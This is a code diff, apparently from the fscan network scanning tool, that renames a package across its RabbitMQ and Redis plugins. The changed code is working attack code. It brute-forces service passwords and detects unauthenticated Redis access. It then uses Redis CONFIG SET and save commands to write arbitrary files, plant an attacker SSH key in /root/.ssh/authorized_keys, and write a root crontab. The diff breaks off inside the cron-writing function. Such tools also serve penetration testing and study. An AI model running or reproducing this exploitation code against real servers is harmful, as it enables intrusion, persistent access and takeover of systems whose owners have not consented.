@ -197,19 +197,19 @@ func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credentia
errorMsg = detailErr
// 打印详细的错误信息,包括所有原始错误信息
Common.LogDebug(fmt.Sprintf("凭据 %s:%s 失败,错误详情: %s",
common.LogDebug(fmt.Sprintf("凭据 %s:%s 失败,错误详情: %s",
credential.Username, credential.Password, errorMsg))
if err != nil {
// 可以根据错误信息类型来决定是否需要重试
// 例如,如果错误是认证错误,则无需重试
if strings.Contains(errorMsg, "ACCESS_REFUSED") {
Common.LogDebug("认证错误,无需重试")
common.LogDebug("认证错误,无需重试")
break
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -225,7 +225,7 @@ func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credentia
}
// RabbitMQConn 尝试 RabbitMQ 连接
func RabbitMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error, string) {
func RabbitMQConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error, string) {
host, port := info.Host, info.Ports
// 构造 AMQP URL
@ -243,7 +243,7 @@ func RabbitMQConn(ctx context.Context, info *Common.HostInfo, user string, pass
// 配置连接
config := amqp.Config{
Dial: func(network, addr string) (net.Conn, error) {
dialer := &net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}
dialer := &net.Dialer{Timeout: time.Duration(common.Timeout) * time.Second}
return dialer.DialContext(ctx, network, addr)
},
}
@ -285,15 +285,15 @@ func RabbitMQConn(ctx context.Context, info *Common.HostInfo, user string, pass
}
// saveRabbitMQResult 保存RabbitMQ扫描结果
func saveRabbitMQResult(info *Common.HostInfo, target string, credential RabbitMQCredential) {
func saveRabbitMQResult(info *common.HostInfo, target string, credential RabbitMQCredential) {
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -304,5 +304,5 @@ func saveRabbitMQResult(info *Common.HostInfo, target string, credential RabbitM
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -4,7 +4,7 @@ import (
"bufio"
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"io"
"net"
"os"
@ -30,11 +30,11 @@ type RedisScanResult struct {
Credential RedisCredential
}
func RedisScan(info *Common.HostInfo) error {
Common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports))
func RedisScan(info *common.HostInfo) error {
common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
@ -59,12 +59,12 @@ func RedisScan(info *Common.HostInfo) error {
select {
case result := <-resultChan:
if result != nil && result.Success {
Common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s", target))
common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s", target))
// 保存未授权访问结果
scanResult := &Common.ScanResult{
scanResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -73,11 +73,11 @@ func RedisScan(info *Common.HostInfo) error {
"type": "unauthorized",
},
}
Common.SaveResult(scanResult)
common.SaveResult(scanResult)
// 如果配置了写入功能,进行漏洞利用
if Common.RedisFile != "" || Common.RedisShell != "" || (Common.RedisWritePath != "" && Common.RedisWriteContent != "") {
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if common.RedisFile != "" || common.RedisShell != "" || (common.RedisWritePath != "" && common.RedisWriteContent != "") {
conn, err := common.WrapperTcpWithTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
if err == nil {
defer conn.Close()
ExploitRedis(ctx, info, conn, "")
@ -87,29 +87,29 @@ func RedisScan(info *Common.HostInfo) error {
return nil
}
case <-ctx.Done():
Common.LogError(fmt.Sprintf("Redis无密码连接测试超时: %s", target))
common.LogError(fmt.Sprintf("Redis无密码连接测试超时: %s", target))
return fmt.Errorf("全局超时")
}
if Common.DisableBrute {
Common.LogDebug("暴力破解已禁用,结束扫描")
if common.DisableBrute {
common.LogDebug("暴力破解已禁用,结束扫描")
return nil
}
// 使用密码爆破
credentials := generateRedisCredentials(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试密码爆破 (总密码数: %d)", len(credentials)))
credentials := generateRedisCredentials(common.Passwords)
common.LogDebug(fmt.Sprintf("开始尝试密码爆破 (总密码数: %d)", len(credentials)))
// 使用工作池并发扫描
result := concurrentRedisScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentRedisScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
Common.LogSuccess(fmt.Sprintf("Redis认证成功 %s [%s]", target, result.Credential.Password))
common.LogSuccess(fmt.Sprintf("Redis认证成功 %s [%s]", target, result.Credential.Password))
// 保存弱密码结果
scanResult := &Common.ScanResult{
scanResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -119,11 +119,11 @@ func RedisScan(info *Common.HostInfo) error {
"password": result.Credential.Password,
},
}
Common.SaveResult(scanResult)
common.SaveResult(scanResult)
// 如果配置了写入功能,进行漏洞利用
if Common.RedisFile != "" || Common.RedisShell != "" || (Common.RedisWritePath != "" && Common.RedisWriteContent != "") {
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if common.RedisFile != "" || common.RedisShell != "" || (common.RedisWritePath != "" && common.RedisWriteContent != "") {
conn, err := common.WrapperTcpWithTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
if err == nil {
defer conn.Close()
@ -142,10 +142,10 @@ func RedisScan(info *Common.HostInfo) error {
// 检查是否因为全局超时
select {
case <-ctx.Done():
Common.LogError(fmt.Sprintf("Redis扫描全局超时: %s", target))
common.LogError(fmt.Sprintf("Redis扫描全局超时: %s", target))
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("Redis扫描完成: %s", target))
common.LogDebug(fmt.Sprintf("Redis扫描完成: %s", target))
return nil
}
}
@ -163,9 +163,9 @@ func generateRedisCredentials(passwords []string) []RedisCredential {
}
// concurrentRedisScan 并发扫描Redis服务
func concurrentRedisScan(ctx context.Context, info *Common.HostInfo, credentials []RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
func concurrentRedisScan(ctx context.Context, info *common.HostInfo, credentials []RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -211,7 +211,7 @@ func concurrentRedisScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
workChan <- cred
}
}
@ -232,14 +232,14 @@ func concurrentRedisScan(ctx context.Context, info *Common.HostInfo, credentials
}
return nil
case <-ctx.Done():
Common.LogDebug("Redis并发扫描全局超时")
common.LogDebug("Redis并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryRedisCredential 尝试单个Redis凭据
func tryRedisCredential(ctx context.Context, info *Common.HostInfo, credential RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
func tryRedisCredential(ctx context.Context, info *common.HostInfo, credential RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -252,7 +252,7 @@ func tryRedisCredential(ctx context.Context, info *Common.HostInfo, credential R
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -267,7 +267,7 @@ func tryRedisCredential(ctx context.Context, info *Common.HostInfo, credential R
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -282,7 +282,7 @@ func tryRedisCredential(ctx context.Context, info *Common.HostInfo, credential R
}
// attemptRedisAuth 尝试Redis认证
func attemptRedisAuth(ctx context.Context, info *Common.HostInfo, password string, timeoutMs int64) (bool, error) {
func attemptRedisAuth(ctx context.Context, info *common.HostInfo, password string, timeoutMs int64) (bool, error) {
// 创建独立于全局超时的单个连接超时上下文
connCtx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutMs)*time.Millisecond)
defer cancel()
@ -329,12 +329,12 @@ func attemptRedisAuth(ctx context.Context, info *Common.HostInfo, password strin
}
// RedisUnauth 尝试Redis未授权访问检测
func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool, err error) {
func RedisUnauth(ctx context.Context, info *common.HostInfo) (flag bool, err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost))
common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost))
// 创建带超时的连接
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
connCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second)
defer cancel()
connChan := make(chan struct {
@ -343,7 +343,7 @@ func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool, err err
}, 1)
go func() {
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
select {
case <-connCtx.Done():
if conn != nil {
@ -360,7 +360,7 @@ func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool, err err
select {
case result := <-connChan:
if result.err != nil {
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, result.err))
common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, result.err))
return false, result.err
}
conn = result.conn
@ -371,107 +371,107 @@ func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool, err err
defer conn.Close()
// 发送info命令测试未授权访问
Common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost))
common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost))
if _, err = conn.Write([]byte("info\r\n")); err != nil {
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
return false, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
return false, err
}
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
// 检查未授权访问
if !strings.Contains(reply, "redis_version") {
Common.LogDebug(fmt.Sprintf("Redis %s 未发现未授权访问", realhost))
common.LogDebug(fmt.Sprintf("Redis %s 未发现未授权访问", realhost))
return false, nil
}
// 发现未授权访问,获取配置
Common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost))
common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost))
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
Common.LogSuccess(result)
common.LogSuccess(result)
return true, err
}
// 输出详细信息
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
Common.LogSuccess(result)
common.LogSuccess(result)
return true, nil
}
// RedisConn 尝试Redis连接
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
func RedisConn(info *common.HostInfo, pass string) (bool, error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("尝试Redis连接: %s [%s]", realhost, pass))
common.LogDebug(fmt.Sprintf("尝试Redis连接: %s [%s]", realhost, pass))
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
Common.LogDebug(fmt.Sprintf("连接失败: %v", err))
common.LogDebug(fmt.Sprintf("连接失败: %v", err))
return false, err
}
defer conn.Close()
// 设置超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
Common.LogDebug(fmt.Sprintf("设置超时失败: %v", err))
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
common.LogDebug(fmt.Sprintf("设置超时失败: %v", err))
return false, err
}
// 发送认证命令
authCmd := fmt.Sprintf("auth %s\r\n", pass)
Common.LogDebug("发送认证命令")
common.LogDebug("发送认证命令")
if _, err = conn.Write([]byte(authCmd)); err != nil {
Common.LogDebug(fmt.Sprintf("发送认证命令失败: %v", err))
common.LogDebug(fmt.Sprintf("发送认证命令失败: %v", err))
return false, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return false, err
}
Common.LogDebug(fmt.Sprintf("收到响应: %s", reply))
common.LogDebug(fmt.Sprintf("收到响应: %s", reply))
// 认证成功
if strings.Contains(reply, "+OK") {
Common.LogDebug("认证成功,获取配置信息")
common.LogDebug("认证成功,获取配置信息")
// 获取配置信息
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("Redis认证成功 %s [%s]", realhost, pass)
Common.LogSuccess(result)
Common.LogDebug(fmt.Sprintf("获取配置失败: %v", err))
common.LogSuccess(result)
common.LogDebug(fmt.Sprintf("获取配置失败: %v", err))
return true, err
}
result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s",
realhost, pass, dir, dbfilename)
Common.LogSuccess(result)
common.LogSuccess(result)
return true, nil
}
Common.LogDebug("认证失败")
common.LogDebug("认证失败")
return false, fmt.Errorf("认证失败")
}
// ExploitRedis 执行Redis漏洞利用
func ExploitRedis(ctx context.Context, info *Common.HostInfo, conn net.Conn, password string) error {
func ExploitRedis(ctx context.Context, info *common.HostInfo, conn net.Conn, password string) error {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost))
common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost))
// 如果配置为不进行测试则直接返回
if Common.DisableRedis {
Common.LogDebug("Redis漏洞利用已禁用")
if common.DisableRedis {
common.LogDebug("Redis漏洞利用已禁用")
return nil
}
@ -480,7 +480,7 @@ func ExploitRedis(ctx context.Context, info *Common.HostInfo, conn net.Conn, pas
if dbfilename == "" || dir == "" {
dbfilename, dir, err = getconfig(conn)
if err != nil {
Common.LogError(fmt.Sprintf("获取Redis配置失败: %v", err))
common.LogError(fmt.Sprintf("获取Redis配置失败: %v", err))
return err
}
}
@ -493,145 +493,145 @@ func ExploitRedis(ctx context.Context, info *Common.HostInfo, conn net.Conn, pas
}
// 支持任意文件写入
if Common.RedisWritePath != "" && Common.RedisWriteContent != "" {
Common.LogDebug(fmt.Sprintf("尝试写入文件: %s", Common.RedisWritePath))
if common.RedisWritePath != "" && common.RedisWriteContent != "" {
common.LogDebug(fmt.Sprintf("尝试写入文件: %s", common.RedisWritePath))
// 提取目录和文件名
filePath := Common.RedisWritePath
filePath := common.RedisWritePath
dirPath := filepath.Dir(filePath)
fileName := filepath.Base(filePath)
Common.LogDebug(fmt.Sprintf("目标目录: %s, 文件名: %s", dirPath, fileName))
common.LogDebug(fmt.Sprintf("目标目录: %s, 文件名: %s", dirPath, fileName))
success, msg, err := writeCustomFile(conn, dirPath, fileName, Common.RedisWriteContent)
success, msg, err := writeCustomFile(conn, dirPath, fileName, common.RedisWriteContent)
if err != nil {
Common.LogError(fmt.Sprintf("文件写入失败: %v", err))
common.LogError(fmt.Sprintf("文件写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("成功写入文件: %s", filePath))
common.LogSuccess(fmt.Sprintf("成功写入文件: %s", filePath))
} else {
Common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
}
}
// 支持从本地文件读取并写入
if Common.RedisWritePath != "" && Common.RedisWriteFile != "" {
Common.LogDebug(fmt.Sprintf("尝试从文件 %s 读取内容并写入到 %s", Common.RedisWriteFile, Common.RedisWritePath))
if common.RedisWritePath != "" && common.RedisWriteFile != "" {
common.LogDebug(fmt.Sprintf("尝试从文件 %s 读取内容并写入到 %s", common.RedisWriteFile, common.RedisWritePath))
// 读取本地文件内容
fileContent, err := os.ReadFile(Common.RedisWriteFile)
fileContent, err := os.ReadFile(common.RedisWriteFile)
if err != nil {
Common.LogError(fmt.Sprintf("读取本地文件失败: %v", err))
common.LogError(fmt.Sprintf("读取本地文件失败: %v", err))
} else {
// 提取目录和文件名
dirPath := filepath.Dir(Common.RedisWritePath)
fileName := filepath.Base(Common.RedisWritePath)
dirPath := filepath.Dir(common.RedisWritePath)
fileName := filepath.Base(common.RedisWritePath)
success, msg, err := writeCustomFile(conn, dirPath, fileName, string(fileContent))
if err != nil {
Common.LogError(fmt.Sprintf("文件写入失败: %v", err))
common.LogError(fmt.Sprintf("文件写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("成功将文件 %s 的内容写入到 %s", Common.RedisWriteFile, Common.RedisWritePath))
common.LogSuccess(fmt.Sprintf("成功将文件 %s 的内容写入到 %s", common.RedisWriteFile, common.RedisWritePath))
} else {
Common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
}
}
}
// 支持向SSH目录写入密钥向后兼容
if Common.RedisFile != "" {
Common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", Common.RedisFile))
success, msg, err := writekey(conn, Common.RedisFile)
if common.RedisFile != "" {
common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", common.RedisFile))
success, msg, err := writekey(conn, common.RedisFile)
if err != nil {
Common.LogError(fmt.Sprintf("SSH密钥写入失败: %v", err))
common.LogError(fmt.Sprintf("SSH密钥写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("SSH密钥写入成功"))
common.LogSuccess(fmt.Sprintf("SSH密钥写入成功"))
} else {
Common.LogError(fmt.Sprintf("SSH密钥写入失败: %s", msg))
common.LogError(fmt.Sprintf("SSH密钥写入失败: %s", msg))
}
}
// 支持写入定时任务(向后兼容)
if Common.RedisShell != "" {
Common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", Common.RedisShell))
success, msg, err := writecron(conn, Common.RedisShell)
if common.RedisShell != "" {
common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", common.RedisShell))
success, msg, err := writecron(conn, common.RedisShell)
if err != nil {
Common.LogError(fmt.Sprintf("定时任务写入失败: %v", err))
common.LogError(fmt.Sprintf("定时任务写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("定时任务写入成功"))
common.LogSuccess(fmt.Sprintf("定时任务写入成功"))
} else {
Common.LogError(fmt.Sprintf("定时任务写入失败: %s", msg))
common.LogError(fmt.Sprintf("定时任务写入失败: %s", msg))
}
}
// 恢复数据库配置
Common.LogDebug("开始恢复数据库配置")
common.LogDebug("开始恢复数据库配置")
if err = recoverdb(dbfilename, dir, conn); err != nil {
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
} else {
Common.LogDebug("数据库配置恢复成功")
common.LogDebug("数据库配置恢复成功")
}
Common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost))
common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost))
return nil
}
// writeCustomFile 向指定路径写入自定义内容
func writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始向 %s/%s 写入内容", dirPath, fileName))
common.LogDebug(fmt.Sprintf("开始向 %s/%s 写入内容", dirPath, fileName))
flag = false
// 设置文件目录
Common.LogDebug(fmt.Sprintf("设置目录: %s", dirPath))
common.LogDebug(fmt.Sprintf("设置目录: %s", dirPath))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))); err != nil {
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 设置文件名
if strings.Contains(text, "OK") {
Common.LogDebug(fmt.Sprintf("设置文件名: %s", fileName))
common.LogDebug(fmt.Sprintf("设置文件名: %s", fileName))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 写入内容
if strings.Contains(text, "OK") {
Common.LogDebug("写入文件内容")
common.LogDebug("写入文件内容")
// 处理多行内容,添加换行符
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"%s\"\r\n", safeContent))); err != nil {
Common.LogDebug(fmt.Sprintf("写入内容失败: %v", err))
common.LogDebug(fmt.Sprintf("写入内容失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
Common.LogDebug("保存更改")
common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
if strings.Contains(text, "OK") {
Common.LogDebug("文件写入成功")
common.LogDebug("文件写入成功")
flag = true
}
}
@ -643,79 +643,79 @@ func writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag boo
if len(text) > 50 {
text = text[:50]
}
Common.LogDebug(fmt.Sprintf("写入文件完成, 状态: %v, 响应: %s", flag, text))
common.LogDebug(fmt.Sprintf("写入文件完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err
}
// writekey 向Redis写入SSH密钥
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始写入SSH密钥, 文件: %s", filename))
common.LogDebug(fmt.Sprintf("开始写入SSH密钥, 文件: %s", filename))
flag = false
// 设置文件目录为SSH目录
Common.LogDebug("设置目录: /root/.ssh/")
common.LogDebug("设置目录: /root/.ssh/")
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 设置文件名为authorized_keys
if strings.Contains(text, "OK") {
Common.LogDebug("设置文件名: authorized_keys")
common.LogDebug("设置文件名: authorized_keys")
if _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 读取并写入SSH密钥
if strings.Contains(text, "OK") {
// 读取密钥文件
Common.LogDebug(fmt.Sprintf("读取密钥文件: %s", filename))
common.LogDebug(fmt.Sprintf("读取密钥文件: %s", filename))
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
Common.LogDebug(text)
common.LogDebug(text)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("密钥文件 %s 为空", filename)
Common.LogDebug(text)
common.LogDebug(text)
return flag, text, err
}
Common.LogDebug(fmt.Sprintf("密钥内容长度: %d", len(key)))
common.LogDebug(fmt.Sprintf("密钥内容长度: %d", len(key)))
// 写入密钥
Common.LogDebug("写入密钥内容")
common.LogDebug("写入密钥内容")
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))); err != nil {
Common.LogDebug(fmt.Sprintf("写入密钥失败: %v", err))
common.LogDebug(fmt.Sprintf("写入密钥失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
Common.LogDebug("保存更改")
common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
if strings.Contains(text, "OK") {
Common.LogDebug("SSH密钥写入成功")
common.LogDebug("SSH密钥写入成功")
flag = true
}
}
@ -727,51 +727,51 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
if len(text) > 50 {
text = text[:50]
}
Common.LogDebug(fmt.Sprintf("写入SSH密钥完成, 状态: %v, 响应: %s", flag, text))
common.LogDebug(fmt.Sprintf("写入SSH密钥完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err
}
// writecron 向Redis写入定时任务
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始写入定时任务, 目标地址: %s", host))
common.LogDebug(fmt.Sprintf("开始写入定时任务, 目标地址: %s", host))
flag = false
// 首先尝试Ubuntu系统的cron路径
Common.LogDebug("尝试Ubuntu系统路径: /var/spool/cron/crontabs/")
common.LogDebug("尝试Ubuntu系统路径: /var/spool/cron/crontabs/")
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置Ubuntu路径失败: %v", err))
common.LogDebug(fmt.Sprintf("设置Ubuntu路径失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 如果Ubuntu路径失败尝试CentOS系统的cron路径
if !strings.Contains(text, "OK") {
Common.LogDebug("尝试CentOS系统路径: /var/spool/cron/")
common.LogDebug("尝试CentOS系统路径: /var/spool/cron/")
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置CentOS路径失败: %v", err))
common.LogDebug(fmt.Sprintf("设置CentOS路径失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
}
// 如果成功设置目录,继续后续操作
if strings.Contains(text, "OK") {
Common.LogDebug("成功设置cron目录")
common.LogDebug("成功设置cron目录")
// 设置数据库文件名为root
Common.LogDebug("设置文件名: root")
common.LogDebug("设置文件名: root")
if _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
